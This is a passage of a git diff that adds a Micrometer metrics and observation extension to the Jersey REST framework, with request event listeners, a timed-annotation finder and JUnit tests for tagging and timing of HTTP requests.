are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.core.instrument.MeterRegistry; +import org.glassfish.jersey.server.monitoring.ApplicationEvent; +import org.glassfish.jersey.server.monitoring.ApplicationEventListener; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * The Micrometer {@link ApplicationEventListener} which registers + * {@link RequestEventListener} for instrumenting Jersey server requests. + * + * @author Michael Weirauch + * @since 2.41 + */ +public class MetricsApplicationEventListener implements ApplicationEventListener { + + private final MeterRegistry meterRegistry; + + private final JerseyTagsProvider tagsProvider; + + private final String metricName; + + private final AnnotationFinder annotationFinder; + + private final boolean autoTimeRequests; + + public MetricsApplicationEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName, + boolean autoTimeRequests) { + this(registry, tagsProvider, metricName, autoTimeRequests, AnnotationFinder.DEFAULT); + } + + public MetricsApplicationEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName, + boolean autoTimeRequests, AnnotationFinder annotationFinder) { + this.meterRegistry = requireNonNull(registry); + this.tagsProvider = requireNonNull(tagsProvider); + this.metricName = requireNonNull(metricName); + this.annotationFinder = requireNonNull(annotationFinder); + this.autoTimeRequests = autoTimeRequests; + } + + @Override + public void onEvent(ApplicationEvent event) { + } + + @Override + public RequestEventListener onRequest(RequestEvent requestEvent) { + return new MetricsRequestEventListener(meterRegistry, tagsProvider, metricName, autoTimeRequests, + annotationFinder); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java new file mode 100644 index 0000000000..cca1d138ca --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListener.java @@ -0,0 +1,178 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.Collection; +import java.util.Collections; +import java.util.HashSet; +import java.util.IdentityHashMap; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.stream.Collectors; + +import io.micrometer.core.annotation.Timed; +import io.micrometer.core.instrument.LongTaskTimer; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Timer; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.model.ResourceMethod; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * {@link RequestEventListener} recording timings for Jersey server requests. + * + * @author Michael Weirauch + * @author Jon Schneider + * @since 2.41 + */ +public class MetricsRequestEventListener implements RequestEventListener { + + private final Map shortTaskSample = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final Map> longTaskSamples = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final Map> timedAnnotationsOnRequest = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final MeterRegistry registry; + + private final JerseyTagsProvider tagsProvider; + + private boolean autoTimeRequests; + + private final TimedFinder timedFinder; + + private final String metricName; + + public MetricsRequestEventListener(MeterRegistry registry, JerseyTagsProvider tagsProvider, String metricName, + boolean autoTimeRequests, AnnotationFinder annotationFinder) { + this.registry = requireNonNull(registry); + this.tagsProvider = requireNonNull(tagsProvider); + this.metricName = requireNonNull(metricName); + this.autoTimeRequests = autoTimeRequests; + this.timedFinder = new TimedFinder(annotationFinder); + } + + @Override + public void onEvent(RequestEvent event) { + ContainerRequest containerRequest = event.getContainerRequest(); + Set timedAnnotations; + + switch (event.getType()) { + case ON_EXCEPTION: + if (!isNotFoundException(event)) { + break; + } + time(event, containerRequest); + break; + case REQUEST_MATCHED: + time(event, containerRequest); + break; + case FINISHED: + timedAnnotations = timedAnnotationsOnRequest.remove(containerRequest); + Timer.Sample shortSample = shortTaskSample.remove(containerRequest); + + if (shortSample != null) { + for (Timer timer : shortTimers(timedAnnotations, event)) { + shortSample.stop(timer); + } + } + + Collection longSamples = this.longTaskSamples.remove(containerRequest); + if (longSamples != null) { + for (LongTaskTimer.Sample longSample : longSamples) { + longSample.stop(); + } + } + break; + } + } + + private void time(RequestEvent event, ContainerRequest containerRequest) { + Set timedAnnotations; + timedAnnotations = annotations(event); + + timedAnnotationsOnRequest.put(containerRequest, timedAnnotations); + shortTaskSample.put(containerRequest, Timer.start(registry)); + + List longTaskSamples = longTaskTimers(timedAnnotations, event).stream() + .map(LongTaskTimer::start) + .collect(Collectors.toList()); + if (!longTaskSamples.isEmpty()) { + this.longTaskSamples.put(containerRequest, longTaskSamples); + } + } + + private boolean isNotFoundException(RequestEvent event) { + Throwable t = event.getException(); + if (t == null) { + return false; + } + String className = t.getClass().getCanonicalName(); + return className.equals("jakarta.ws.rs.NotFoundException") || className.equals("jakarta.ws.rs.NotFoundException"); + } + + private Set shortTimers(Set timed, RequestEvent event) { + /* + * Given we didn't find any matching resource method, 404s will be only recorded + * when auto-time-requests is enabled. On par with WebMVC instrumentation. + */ + if ((timed == null || timed.isEmpty()) && autoTimeRequests) { + return Collections.singleton(registry.timer(metricName, tagsProvider.httpRequestTags(event))); + } + + if (timed == null) { + return Collections.emptySet(); + } + + return timed.stream() + .filter(annotation -> !annotation.longTask()) + .map(t -> Timer.builder(t, metricName).tags(tagsProvider.httpRequestTags(event)).register(registry)) + .collect(Collectors.toSet()); + } + + private Set longTaskTimers(Set timed, RequestEvent event) { + return timed.stream() + .filter(Timed::longTask) + .map(LongTaskTimer::builder) + .map(b -> b.tags(tagsProvider.httpLongRequestTags(event)).register(registry)) + .collect(Collectors.toSet()); + } + + private Set annotations(RequestEvent event) { + final Set timed = new HashSet<>(); + + final ResourceMethod matchingResourceMethod = event.getUriInfo().getMatchedResourceMethod(); + if (matchingResourceMethod != null) { + // collect on method level + timed.addAll(timedFinder.findTimedAnnotations(matchingResourceMethod.getInvocable().getHandlingMethod())); + + // fallback on class level + if (timed.isEmpty()) { + timed.addAll(timedFinder.findTimedAnnotations( + matchingResourceMethod.getInvocable().getHandlingMethod().getDeclaringClass())); + } + } + return timed; + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java new file mode 100644 index 0000000000..6f519f0c22 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationApplicationEventListener.java @@ -0,0 +1,62 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import io.micrometer.observation.ObservationRegistry; +import org.glassfish.jersey.server.monitoring.ApplicationEvent; +import org.glassfish.jersey.server.monitoring.ApplicationEventListener; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * The Micrometer {@link ApplicationEventListener} which registers + * {@link RequestEventListener} for instrumenting Jersey server requests with + * observations. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class ObservationApplicationEventListener implements ApplicationEventListener { + + private final ObservationRegistry observationRegistry; + + private final String metricName; + + private final JerseyObservationConvention jerseyObservationConvention; + + public ObservationApplicationEventListener(ObservationRegistry observationRegistry, String metricName) { + this(observationRegistry, metricName, null); + } + + public ObservationApplicationEventListener(ObservationRegistry observationRegistry, String metricName, + JerseyObservationConvention jerseyObservationConvention) { + this.observationRegistry = requireNonNull(observationRegistry); + this.metricName = requireNonNull(metricName); + this.jerseyObservationConvention = jerseyObservationConvention; + } + + @Override + public void onEvent(ApplicationEvent event) { + } + + @Override + public RequestEventListener onRequest(RequestEvent requestEvent) { + return new ObservationRequestEventListener(observationRegistry, metricName, jerseyObservationConvention); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java new file mode 100644 index 0000000000..953944b26e --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/ObservationRequestEventListener.java @@ -0,0 +1,145 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.Collections; +import java.util.IdentityHashMap; +import java.util.Map; +import java.util.Objects; + +import io.micrometer.observation.Observation; +import io.micrometer.observation.ObservationRegistry; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEventListener; + +import static java.util.Objects.requireNonNull; + +/** + * {@link RequestEventListener} recording observations for Jersey server requests. + * + * @author Marcin Grzejszczak + * @since 2.41 + */ +public class ObservationRequestEventListener implements RequestEventListener { + + private final Map observations = Collections + .synchronizedMap(new IdentityHashMap<>()); + + private final ObservationRegistry registry; + + private final JerseyObservationConvention customConvention; + + private final String metricName; + + private final JerseyObservationConvention defaultConvention; + + public ObservationRequestEventListener(ObservationRegistry registry, String metricName) { + this(registry, metricName, null); + } + + public ObservationRequestEventListener(ObservationRegistry registry, String metricName, + JerseyObservationConvention customConvention) { + this.registry = requireNonNull(registry); + this.metricName = requireNonNull(metricName); + this.customConvention = customConvention; + this.defaultConvention = new DefaultJerseyObservationConvention(this.metricName); + } + + @Override + public void onEvent(RequestEvent event) { + ContainerRequest containerRequest = event.getContainerRequest(); + + switch (event.getType()) { + case ON_EXCEPTION: + if (!isNotFoundException(event)) { + break; + } + startObservation(event); + break; + case REQUEST_MATCHED: + startObservation(event); + break; + case RESP_FILTERS_START: + ObservationScopeAndContext observationScopeAndContext = observations.get(containerRequest); + if (observationScopeAndContext != null) { + observationScopeAndContext.jerseyContext.setResponse(event.getContainerResponse()); + observationScopeAndContext.jerseyContext.setRequestEvent(event); + } + break; + case FINISHED: + ObservationScopeAndContext finishedObservation = observations.remove(containerRequest); + if (finishedObservation != null) { + finishedObservation.jerseyContext.setRequestEvent(event); + Observation.Scope observationScope = finishedObservation.observationScope; + observationScope.close(); + observationScope.getCurrentObservation().stop(); + } + break; + default: + break; + } + } + + private void startObservation(RequestEvent event) { + JerseyContext jerseyContext = new JerseyContext(event); + Observation observation = JerseyObservationDocumentation.DEFAULT.start(this.customConvention, + this.defaultConvention, () -> jerseyContext, this.registry); + Observation.Scope scope = observation.openScope(); + observations.put(event.getContainerRequest(), new ObservationScopeAndContext(scope, jerseyContext)); + } + + private boolean isNotFoundException(RequestEvent event) { + Throwable t = event.getException(); + if (t == null) { + return false; + } + String className = t.getClass().getCanonicalName(); + return className.equals("jakarta.ws.rs.NotFoundException") || className.equals("jakarta.ws.rs.NotFoundException"); + } + + private static class ObservationScopeAndContext { + + final Observation.Scope observationScope; + + final JerseyContext jerseyContext; + + ObservationScopeAndContext(Observation.Scope observationScope, JerseyContext jerseyContext) { + this.observationScope = observationScope; + this.jerseyContext = jerseyContext; + } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + ObservationScopeAndContext that = (ObservationScopeAndContext) o; + return Objects.equals(observationScope, that.observationScope) + && Objects.equals(jerseyContext, that.jerseyContext); + } + + @Override + public int hashCode() { + return Objects.hash(observationScope, jerseyContext); + } + + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java new file mode 100644 index 0000000000..42d47451bc --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/TimedFinder.java @@ -0,0 +1,49 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.lang.reflect.AnnotatedElement; +import java.util.Arrays; +import java.util.Collections; +import java.util.Set; +import java.util.stream.Collectors; + +import io.micrometer.core.annotation.Timed; +import io.micrometer.core.annotation.TimedSet; + +class TimedFinder { + + private final AnnotationFinder annotationFinder; + + TimedFinder(AnnotationFinder annotationFinder) { + this.annotationFinder = annotationFinder; + } + + Set findTimedAnnotations(AnnotatedElement element) { + Timed t = annotationFinder.findAnnotation(element, Timed.class); + if (t != null) { + return Collections.singleton(t); + } + + TimedSet ts = annotationFinder.findAnnotation(element, TimedSet.class); + if (ts != null) { + return Arrays.stream(ts.value()).collect(Collectors.toSet()); + } + + return Collections.emptySet(); + } + +} diff --git a/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java new file mode 100644 index 0000000000..0d9e95e804 --- /dev/null +++ b/ext/micrometer/src/main/java/org/glassfish/jersey/micrometer/server/package-info.java @@ -0,0 +1,20 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Binders for Jersey. Code ported from Micrometer repository. + */ +package org.glassfish.jersey.micrometer.server; diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java new file mode 100644 index 0000000000..d0445f97da --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/DefaultJerseyTagsProviderTest.java @@ -0,0 +1,141 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.net.URI; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.stream.Collectors; + +import jakarta.ws.rs.NotAcceptableException; + +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ContainerResponse; +import org.glassfish.jersey.server.ExtendedUriInfo; +import org.glassfish.jersey.server.internal.monitoring.RequestEventImpl.Builder; +import org.glassfish.jersey.server.monitoring.RequestEvent; +import org.glassfish.jersey.server.monitoring.RequestEvent.Type; +import org.glassfish.jersey.uri.UriTemplate; +import org.junit.jupiter.api.Test; + +import static java.util.stream.StreamSupport.stream; +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * Tests for {@link DefaultJerseyTagsProvider}. + * + * @author Michael Weirauch + * @author Johnny Lim + */ +class DefaultJerseyTagsProviderTest { + + private final DefaultJerseyTagsProvider tagsProvider = new DefaultJerseyTagsProvider(); + + @Test + void testRootPath() { + assertThat(tagsProvider.httpRequestTags(event(200, null, "/", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("root", 200, null, "SUCCESS")); + } + + @Test + void templatedPathsAreReturned() { + assertThat(tagsProvider.httpRequestTags(event(200, null, "/", "/", "/hello/{name}"))) + .containsExactlyInAnyOrder(tagsFrom("/hello/{name}", 200, null, "SUCCESS")); + } + + @Test + void applicationPathIsPresent() { + assertThat(tagsProvider.httpRequestTags(event(200, null, "/app", "/", "/hello"))) + .containsExactlyInAnyOrder(tagsFrom("/app/hello", 200, null, "SUCCESS")); + } + + @Test + void notFoundsAreShunted() { + assertThat(tagsProvider.httpRequestTags(event(404, null, "/app", "/", "/not-found"))) + .containsExactlyInAnyOrder(tagsFrom("NOT_FOUND", 404, null, "CLIENT_ERROR")); + } + + @Test + void redirectsAreShunted() { + assertThat(tagsProvider.httpRequestTags(event(301, null, "/app", "/", "/redirect301"))) + .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 301, null, "REDIRECTION")); + assertThat(tagsProvider.httpRequestTags(event(302, null, "/app", "/", "/redirect302"))) + .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 302, null, "REDIRECTION")); + assertThat(tagsProvider.httpRequestTags(event(399, null, "/app", "/", "/redirect399"))) + .containsExactlyInAnyOrder(tagsFrom("REDIRECTION", 399, null, "REDIRECTION")); + } + + @Test + @SuppressWarnings("serial") + void exceptionsAreMappedCorrectly() { + assertThat(tagsProvider.httpRequestTags(event(500, new IllegalArgumentException(), "/app", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("/app", 500, "IllegalArgumentException", "SERVER_ERROR")); + assertThat(tagsProvider.httpRequestTags( + event(500, new IllegalArgumentException(new NullPointerException()), "/app", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("/app", 500, "NullPointerException", "SERVER_ERROR")); + assertThat(tagsProvider.httpRequestTags(event(406, new NotAcceptableException(), "/app", (String[]) null))) + .containsExactlyInAnyOrder(tagsFrom("/app", 406, "NotAcceptableException", "CLIENT_ERROR")); + assertThat(tagsProvider.httpRequestTags(event(500, new Exception("anonymous") { + }, "/app", (String[]) null))).containsExactlyInAnyOrder(tagsFrom("/app", 500, + "org.glassfish.jersey.micrometer.server.DefaultJerseyTagsProviderTest$1", "SERVER_ERROR")); + } + + @Test + void longRequestTags() { + assertThat(tagsProvider.httpLongRequestTags(event(0, null, "/app", (String[]) null))) + .containsExactlyInAnyOrder(Tag.of("method", "GET"), Tag.of("uri", "/app")); + } + + private static RequestEvent event(Integer status, Exception exception, String baseUri, + String... uriTemplateStrings) { + Builder builder = new Builder(); + + ContainerRequest containerRequest = mock(ContainerRequest.class); + when(containerRequest.getMethod()).thenReturn("GET"); + builder.setContainerRequest(containerRequest); + + ContainerResponse containerResponse = mock(ContainerResponse.class); + when(containerResponse.getStatus()).thenReturn(status); + builder.setContainerResponse(containerResponse); + + builder.setException(exception, null); + + ExtendedUriInfo extendedUriInfo = mock(ExtendedUriInfo.class); + when(extendedUriInfo.getBaseUri()) + .thenReturn(URI.create("http://localhost:8080" + (baseUri == null ? "/" : baseUri))); + List uriTemplates = uriTemplateStrings == null ? Collections.emptyList() + : Arrays.stream(uriTemplateStrings).map(uri -> new UriTemplate(uri)).collect(Collectors.toList()); + // UriTemplate are returned in reverse order + Collections.reverse(uriTemplates); + when(extendedUriInfo.getMatchedTemplates()).thenReturn(uriTemplates); + builder.setExtendedUriInfo(extendedUriInfo); + + return builder.build(Type.FINISHED); + } + + private static Tag[] tagsFrom(String uri, int status, String exception, String outcome) { + Iterable expectedTags = Tags.of("method", "GET", "uri", uri, "status", String.valueOf(status), "exception", + exception == null ? "None" : exception, "outcome", outcome); + + return stream(expectedTags.spliterator(), false).toArray(Tag[]::new); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java new file mode 100644 index 0000000000..96324b2a8a --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTest.java @@ -0,0 +1,174 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.NotFoundException; +import jakarta.ws.rs.core.Application; + +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import org.glassfish.jersey.micrometer.server.mapper.ResourceGoneExceptionMapper; +import org.glassfish.jersey.micrometer.server.resources.TestResource; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Tests for {@link MetricsApplicationEventListener}. + * + * @author Michael Weirauch + * @author Johnny Lim + */ +class MetricsRequestEventListenerTest extends JerseyTest { + + static { + Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF); + } + + private static final String METRIC_NAME = "http.server.requests"; + + private MeterRegistry registry; + + @Override + protected Application configure() { + registry = new SimpleMeterRegistry(); + + final MetricsApplicationEventListener listener = new MetricsApplicationEventListener(registry, + new DefaultJerseyTagsProvider(), METRIC_NAME, true); + + final ResourceConfig config = new ResourceConfig(); + config.register(listener); + config.register(TestResource.class); + config.register(ResourceGoneExceptionMapper.class); + + return config; + } + + @Test + void resourcesAreTimed() { + target("/").request().get(); + target("hello").request().get(); + target("hello/").request().get(); + target("hello/peter").request().get(); + target("sub-resource/sub-hello/peter").request().get(); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("root", "200", "SUCCESS", null)).timer().count()) + .isEqualTo(1); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/hello", "200", "SUCCESS", null)).timer().count()) + .isEqualTo(2); + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("/hello/{name}", "200", "SUCCESS", null)).timer().count()) + .isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/sub-resource/sub-hello/{name}", "200", "SUCCESS", null)) + .timer() + .count()).isEqualTo(1); + + // assert we are not auto-timing long task @Timed + assertThat(registry.getMeters()).hasSize(4); + } + + @Test + void notFoundIsAccumulatedUnderSameUri() { + try { + target("not-found").request().get(); + } + catch (NotFoundException ignored) { + } + + assertThat(registry.get(METRIC_NAME).tags(tagsFrom("NOT_FOUND", "404", "CLIENT_ERROR", null)).timer().count()) + .isEqualTo(1); + } + + @Test + void notFoundIsReportedWithUriOfMatchedResource() { + try { + target("throws-not-found-exception").request().get(); + } + catch (NotFoundException ignored) { + } + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-not-found-exception", "404", "CLIENT_ERROR", null)) + .timer() + .count()).isEqualTo(1); + } + + @Test + void redirectsAreReportedWithUriOfMatchedResource() { + target("redirect/302").request().get(); + target("redirect/307").request().get(); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/redirect/{status}", "302", "REDIRECTION", null)) + .timer() + .count()).isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/redirect/{status}", "307", "REDIRECTION", null)) + .timer() + .count()).isEqualTo(1); + } + + @Test + void exceptionsAreMappedCorrectly() { + try { + target("throws-exception").request().get(); + } + catch (Exception ignored) { + } + try { + target("throws-webapplication-exception").request().get(); + } + catch (Exception ignored) { + } + try { + target("throws-mappable-exception").request().get(); + } + catch (Exception ignored) { + } + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-exception", "500", "SERVER_ERROR", "IllegalArgumentException")) + .timer() + .count()).isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-webapplication-exception", "401", "CLIENT_ERROR", "NotAuthorizedException")) + .timer() + .count()).isEqualTo(1); + + assertThat(registry.get(METRIC_NAME) + .tags(tagsFrom("/throws-mappable-exception", "410", "CLIENT_ERROR", "ResourceGoneException")) + .timer() + .count()).isEqualTo(1); + } + + private static Iterable tagsFrom(String uri, String status, String outcome, String exception) { + return Tags.of("method", "GET", "uri", uri, "status", status, "outcome", outcome, "exception", + exception == null ? "None" : exception); + } + +} diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java new file mode 100644 index 0000000000..bd9cd24436 --- /dev/null +++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/MetricsRequestEventListenerTimedTest.java @@ -0,0 +1,188 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ +package org.glassfish.jersey.micrometer.server; + +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.TimeoutException; +import java.util.logging.Level; +import java.util.logging.Logger; + +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; + +import io.micrometer.core.Issue; +import io.micrometer.core.instrument.MeterRegistry; +import io.micrometer.core.instrument.Tag; +import io.micrometer.core.instrument.Tags; +import io.micrometer.core.instrument.simple.SimpleMeterRegistry; +import org.glassfish.jersey.micrometer.server.resources.TimedOnClassResource; +import org.glassfish.jersey.micrometer.server.resources.TimedResource; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.assertj.core.api.Assertions.assertThatExceptionOfType; + +/** + * @author Michael Weirauch + */ +class MetricsRequestEventListenerTimedTest extends JerseyTest { + + static { + Logger.getLogger("org.glassfish.jersey").setLevel(Level.OFF); + } + + private static final String METRIC_NAME = "http.server.requests"; + + private MeterRegistry registry; + + private CountDownLatch longTaskRequestStartedLatch; + + private CountDownLatch longTaskRequestReleaseLatch; + + @Override + protected Application configure() { + registry = new SimpleMeterRegistry(); + longTaskRequestStartedLatch = new CountDownLatch(1); + longTaskRequestReleaseLatch = new CountDownLatch(1); + + final MetricsApplicationEventListener listener = new MetricsApplicationEventListener(registry, + new DefaultJerseyTagsProvider(), METRIC_NAME, false); + + final ResourceConfig config = new ResourceConfig(); + config.register(listener); + config.register(new TimedResource(longTaskRequestStartedLatch, longTaskRequestReleaseLatch)); + config.register(TimedOnClassResource.class); + + return config; + } + + @Test + void resourcesAndNotFoundsAreNotAutoTimed() { + target("not-timed").request().get(); + target("not-found").request().get(); + + assertThat(registry.find(METRIC_NAME).tags(tagsFrom("/not-timed", 200)).timer()).isNull(); + + assertThat(registry.find(METRIC_NAME).tags(tagsFrom("NOT_FOUND", 